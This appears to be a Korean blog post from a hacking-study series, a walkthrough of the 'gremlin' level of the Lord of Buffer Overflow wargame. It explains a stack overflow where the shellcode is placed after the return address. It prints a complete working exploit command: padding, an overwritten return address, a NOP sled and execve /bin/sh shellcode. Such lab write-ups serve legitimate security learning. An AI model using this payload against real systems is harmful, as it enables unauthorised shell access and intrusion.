본문 바로가기

해킹공부/lob

gremlin

별달리 시작할 말이 없으니 바로 코드를 보겠습니다.

gate와 달라진점은 buffer의 크기 한가지밖에 없다.

그런데 shellcode가 24byte인데 buffer + sfp를 해봐도 20byte밖에 안된다.

혹시 dump가 4byte쯤 있을지도 봤지만

그냥 16byte밖에 없다.

하지만 buffer overflow는 입력이 제한된 수를 넘어서 '무한정'들어가는 취약점이다.

즉 RET 위의 메모리에도 무한정 값이 들어가는 것이다.

buffer에 A, SFP에 B, RET에 C를 넣고 뒤에는 D를 10개 채웠다.

즉 RET는 0xbffffb4c라는 것을 알 수 있다.

RET보다 뒤에 있는 임의의 주소를 넣고 \x90을 충분히 넣은 뒤 shellcode를 입력하여 payload를 만들었다.

./cobolt `python -c 'print "A"*20 + "\x80\xfb\xff\xbf" + "\x90"*200 + "\x31\xc0\x99\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"'`

아직도 \x90에 대한건 잘 모르겠다ㅠㅠㅠ

누구 알려줄짜람...

'해킹공부 > lob' 카테고리의 다른 글

wolfman  (0) 2017.10.18
orc  (0) 2017.10.17
goblin  (0) 2017.10.17
cobolt  (0) 2017.10.13
gate  (0) 2017.10.03